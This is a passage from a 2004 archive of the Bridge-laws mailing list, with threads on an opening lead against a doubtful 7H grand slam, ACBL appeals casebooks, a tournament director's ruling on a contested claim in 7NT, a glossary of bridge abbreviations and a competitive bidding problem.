TD seeking "double-blind" consultations, where not only do consultants not know the entire deal, but the consultants also cannot know the real reason as to *why* they are being consulted. For example, in the "Groundhog Day" thread, I deliberately changed the context to an apparent sea-lawyering by East-West, so that I could get a context-free assessment as to whether or not North's break-in-tempo would demonstrably suggest anything in particular to South. Best wishes RJH From toddz@att.net Mon May 31 10:04:41 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Mon, 31 May 2004 05:04:41 -0400 Subject: [blml] Inferior bridge forbidden? (was Matchpoint dumping) In-Reply-To: References: Message-ID: <6.0.1.1.1.20040531050131.01b4dec0@postoffice.worldnet.att.net> Heart. Considered AD and AC. -Todd At 10:21 PM 5/30/2004, you wrote: Imps Dlr: West Vul: All The bidding has gone: WEST NORTH EAST SOUTH 1D Pass 1H Pass 2NT(1) Pass 3H Pass 3NT Pass 4NT(2) Pass 5D(3) Pass 7H Pass Pass Pass (1) 19-20 hcp, balanced (2) RKCB in hearts (3) 1 or 4 keycards You, South, hold: T852 J7 A754 AQ3 What lead do you make? What other leads do you consider making? From karel@esatclear.ie Mon May 31 18:35:10 2004 From: karel@esatclear.ie (Karel) Date: Mon, 31 May 2004 18:35:10 +0100 Subject: [blml] Inferior bridge forbidden? (was Matchpoint dumping) In-Reply-To: <6.0.1.1.1.20040531050131.01b4dec0@postoffice.worldnet.att.net> Message-ID: +++ Well unless East has lost it he should have 56(02) or equivalent. Even then wierd bidding but clearly 6H has the same chances as 7 so he must have 2 quick losers (infact I'd say 3 losers as he could have bid 5H's to make ... so maybe 46(03) or 55(03)). I'm not leading a heart whatever I do. CA seems pretty normal go for the short suit. DA next. Even a spade has merit - who knows maybe E/W have a 5/4 or 6/3 spade fit - give pd a ruff. I'm sure knowing my luck that a Club will give the contract setting up openers clubs or something like that :>> K. -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of Todd M. Zimnoch Sent: 31 May 2004 10:05 To: blml@rtflb.org Subject: Re: [blml] Inferior bridge forbidden? (was Matchpoint dumping) Heart. Considered AD and AC. -Todd At 10:21 PM 5/30/2004, you wrote: Imps Dlr: West Vul: All The bidding has gone: WEST NORTH EAST SOUTH 1D Pass 1H Pass 2NT(1) Pass 3H Pass 3NT Pass 4NT(2) Pass 5D(3) Pass 7H Pass Pass Pass (1) 19-20 hcp, balanced (2) RKCB in hearts (3) 1 or 4 keycards You, South, hold: T852 J7 A754 AQ3 What lead do you make? What other leads do you consider making? _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From mfrench1@san.rr.com Mon May 31 19:08:05 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 31 May 2004 11:08:05 -0700 Subject: [blml] ACBL Fall 2003 appeals casebook References: Message-ID: <000801c4473a$3b5c5a80$6401a8c0@san.rr.com> Richard Hills quoted Rich's words in the 2003 Fall NABC casebook > > In his final "Advice for Advancing Players", > Rich Colker wrote: > > [big snip] What I heard at the Reno NABC: That was the last of Rich's casebook comments, evidently. Rich's ACBL employment has been terminated, at least in his roles as casebook editor, Appeals Administrator, and ACBL Recorder. Gary Blaiss has been given the Recorder job, and the publication of casebooks is now a question mark. It would be sad if they were discontinued, and those (like me) who want them continued should e-mail the CEO Jay Baum and ACBL Directors urging a continuance. Rich's work ethic was admirable, and his casebook editing impressive. My only complaint was that he sometimes wrote as if his opinions about how the Laws should be interpreted and applied were official ACBL policy, which was sometimes not so. However, It seems to me that as the years went by I found fewer and fewer Colker casebook statements with which I disagreed. So who would be a good replacement as casebook editor? I doubt that the very capable Appeals Manager Linda Trent would want the job. I nominate our Adam Wildavsky. Marv Marvin L. French San Diego, California From grabiner@alumni.princeton.edu Mon May 31 19:10:26 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Mon, 31 May 2004 14:10:26 -0400 Subject: [blml] Inferior bridge forbidden? (was Matchpoint dumping) In-Reply-To: Message-ID: <5.1.1.6.0.20040531132500.01e05ac0@mail.comcast.net> At 10:21 PM 5/30/2004, richard.hills@immi.gov.au wrote: >Imps >Dlr: West >Vul: All > >The bidding has gone: > >WEST NORTH EAST SOUTH >1D Pass 1H Pass >2NT(1) Pass 3H Pass >3NT Pass 4NT(2) Pass >5D(3) Pass 7H Pass >Pass Pass > >(1) 19-20 hcp, balanced >(2) RKCB in hearts >(3) 1 or 4 keycards > >You, South, hold: > >T852 >J7 >A754 >AQ3 > >What lead do you make? >What other leads do you consider making? Is there any way they could make the grand? Something has gone wrong, either miscounted aces or an RKC mixup. I don't know which, so I am not sure whether they are off two or three keycards. It is possible that they have thirteen top tricks unless I cash an ace: AQJx Kx KQJx Kxx opposite Kx AQTxxxxxx x x. It is also possible that East bid RKC with a void, and will make if I lead the wrong ace: AKQ xx KQJTx KJx opposite Jxx AQTxxxx - xxx, or AKQx xx KQJx KJx opposite Jxx AQTxxxxx xx -. The CA looks like the best lead to beat the grand, since that last example hand is the least likely. It is more likely that they are going down no matter what I do, and it's just a question of how many. Partner can't have much, so I think clubs will go away on the diamonds and I will have only one club trick; I'll get my aces unless they run away, and a trump trick if there is one. A heart lead could cost me a trump trick if partner has Qxx or Kxx. A spade lead could cost a trick if East discards a minor-suit singleton on West's spades. I might as well cash my aces, and I prefer to take CA first since East is more likely to have a diamond void, then DA, and then another diamond since partner might have a stiff. So I lead CA, but I could see a heart or spade as the best safe lead. The DA should not be led but is not a clear bridge error. I would have doubled 7H. If the other table is down one in 5H, I will get +12 IMPs rather than +5 IMPs for 7H down three; if the other table is making 5H, I will get +15 IMPs rather than +13. And if I guess the wrong lead and 7H makes, it won't be the contract at the other table, so the double will only cost one IMP. From cibor@poczta.fm Mon May 31 22:23:15 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Mon, 31 May 2004 23:23:15 +0200 Subject: [blml] A question from an exam Message-ID: <003101c44755$7f0f06e0$b7411d53@kocurzak> Hi everyone, A very serious TD exam somewhere in the middle of Europe. Here is one of the 14 hurdles the participants had to take: 6 K75 AKQ1054 K75 J875 A10932 J10982 64 83 J976 86 43 KQ4 AQ3 2 AQJ1092 A world class declarer arrives in 7NT (doubled by East) with this pair of hands. West, mercifully, leads a heart so the North - South pair no longer classifies this deal as a bidding problem. South claims saying "I have the rest" but East - West apparently remain unconvinced and call the cops. Your ruling? Konrad Ciborowski Krak=F3w, Poland From henk@amsterdamned.org Mon May 31 23:00:01 2004 From: henk@amsterdamned.org (Henk Uijterwaal) Date: Tue, 01 Jun 2004 00:00:01 +0200 Subject: [blml] Usenet bridge abbreviations Message-ID: (Automated, regular posting) Usenet Bridge Abbreviations ABF Australian Bridge Federation AC Appeals committee ACBL American Contract Bridge League AI Authorised information ArtAS Artificial adjusted score AssAS Assigned adjusted score ATF Across-the-field [matchpointing] ATTNA Appeal to the National Authority BBL British Bridge League [now defunct] BGB Bridge Great Britain BIT Break in Tempo BLML Bridge-laws mailing list BoD Board of directors [ACBL] BoG Board of governors [ACBL] BOOT Bid-Out-Of-Turn CD Convention Disruption C&E Conduct and ethics [often hearings] CC Convention card CHO Center Hand Opponent [ie partner] CoC Conditions of contest COOT Call-Out-Of-Turn CoP Code of practice CPU Concealed partnership understanding CTD Chief Tournament director DBF Danish Bridge Federation DIC Director in charge DP Disciplinary penalty EBL European Bridge League EBU English Bridge Union EHAA Every Hand an Adventure [a system] F2F Face-to-face [to distinguish from Online bridge] FOLOOT Faced Opening-Lead-Out-Of-Turn GCC General Convention Chart [ACBL] HUM Highly Unusual Method IB Insufficient Bid IBLF International Bridge Laws Forum LA Logical alternative L&EC Laws & Ethics Committee [English, Welsh or Scottish] LHO Left hand Opponent Lnn Law number nn LOL Little old lady [may be of either sex] LOOT Lead-Out-Of-Turn MB Misbid ME Misexplanation MI Misinformation MPC Major penalty card mPC Minor penalty card MSC Master Solvers' Club [The Bridge World] NA National Authority NABC ACBL North American Bridge Championships NBB Nederlandse Bridge Bond [Dutch Bridge League] NBO National Bridge organisation NCBO National Contract Bridge organisation NIBU Northern Ireland Bridge Union NO Non-offender NOs Non-offenders NOS Non-offending side OBM Old Black Magic OBOOT Opening-Bid-Out-Of-Turn OKB OKBridge OLB Online bridge [to distinguish from Face-to-face bridge] OLOOT Opening-Lead-Out-Of-Turn OOT Out-Of-Turn Os Offenders OS Offending side pd Partner PLOOT Play-Out-Of-Turn POOT Pass-Out-Of-Turn PP Procedural penalty RA Regulating Authority RGB rec.games.bridge [newsgroup] RGBO rec.games.bridge.okbridge [newsgroup] RHO Right Hand Opponent RLB Real Life Bridge [to distinguish from Online bridge] RoC Rule of coincidence RoW Rest of World [apart from North America] RTFLB Read the [fabulous] Law book! SBU Scottish Bridge Union SO Sponsoring organisation TBW The Bridge World [magazine] TD Tournament director TDic Tournament director in charge TFLB The [fabulous] Law book! UI Unauthorised information WBF World Bridge Federation WBFLC WBF Laws Committee WBU Welsh Bridge Union YC Young Chelsea ZO Zonal organisation ZT Zero Tolerance [for unacceptable behaviour] Hand diagrams: *3m 3C or 3D [minor] *3M 3H or 3S [Major] ..3H 3H after a hesitation 3H! 3H alerted The above may also be found on David Stevenson's Bridgepage at http://blakjak.com/usenet_br.htm From grabiner@alumni.princeton.edu Mon May 31 23:02:36 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Mon, 31 May 2004 18:02:36 -0400 Subject: [blml] A question from an exam In-Reply-To: <003101c44755$7f0f06e0$b7411d53@kocurzak> Message-ID: <5.1.1.6.0.20040531173619.02bda4c8@mail.comcast.net> At 05:23 PM 5/31/2004, Konrad Ciborowski wrote: >Hi everyone, > >A very serious TD exam somewhere in the >middle of Europe. Here is one of the 14 hurdles >the participants had to take: > > > 6 > K75 > AKQ1054 > K75 >J875 A10932 >J10982 64 >83 J976 >86 43 > KQ4 > AQ3 > 2 > AQJ1092 > >A world class declarer arrives in 7NT (doubled by East) >with this pair of hands. West, mercifully, leads >a heart so the North - South pair no longer classifies >this deal as a bidding problem. >South claims saying "I have the rest" but East - West >apparently remain unconvinced and call the cops. >Your ruling? Declarer doesn't get to claim on the squeeze which he thinks is marked on the bidding unless he states the squeeze in a line of play. It would be irrational to assume that West has the SA since he didn't lead it, but there is no indication about the DJ. Here's a normal line of play which gives South eleven tricks: three rounds of hearts, six rounds of clubs with West pitching two spades and two hearts and East pitching four spades and a diamond, and now, with no idea whether East pitched a diamond from Jxxx or xx, take the diamond finesse, losing to East's jack, and East cashes the SA. Declarer is not allowed to guess right in a finesse-or-drop situation unless the play is marked. I don't see a normal line which gives only ten tricks. Even if North pitches two clubs on the AKQ of diamonds and then finds out that the suit didn't break, he has eleven tricks by giving up the DJ and SA and running the rest of the diamonds, or by leading a spade towards the KQ that are still in his hand. Thus I rule eleven tricks for South. From wayne.burrows@xtra.co.nz Sun May 30 07:12:11 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sun, 30 May 2004 18:12:11 +1200 Subject: [blml] Pre-emptive raise Message-ID: <006001c4460d$0bcc6400$0401010a@Desktop> This is a multi-part message in MIME format. ------=_NextPart_000_0061_01C44671.A1014400 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit NS Vul. Good and very experienced pair sitting EW. World class player sitting South. Relatively inexperienced player sitting North. North holds KJ84 6 Q984 Q1095 W N E S P 1C* NS play 5-card majors and weak 1NT 1H X 3H* P 3H is a weakish raise up to about 8-9 hcp P ? What do you bid? TIA Wayne ------=_NextPart_000_0061_01C44671.A1014400 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Message
NS=20 Vul.
 
Good and=20 very experienced pair sitting EW.
 
World class=20 player sitting South.
 
Relatively=20 inexperienced player sitting North.
 
North=20 holds
 
KJ84
6
Q984
Q1095
 
W  =20 N   E   S
        P   = 1C*  NS=20 play 5-card majors and weak 1NT
1H =20 X   3H* P    3H is a weakish raise up to about = 8-9=20 hcp
P   ? 
 
What do you=20 bid?
 
TIA
 
Wayne
------=_NextPart_000_0061_01C44671.A1014400--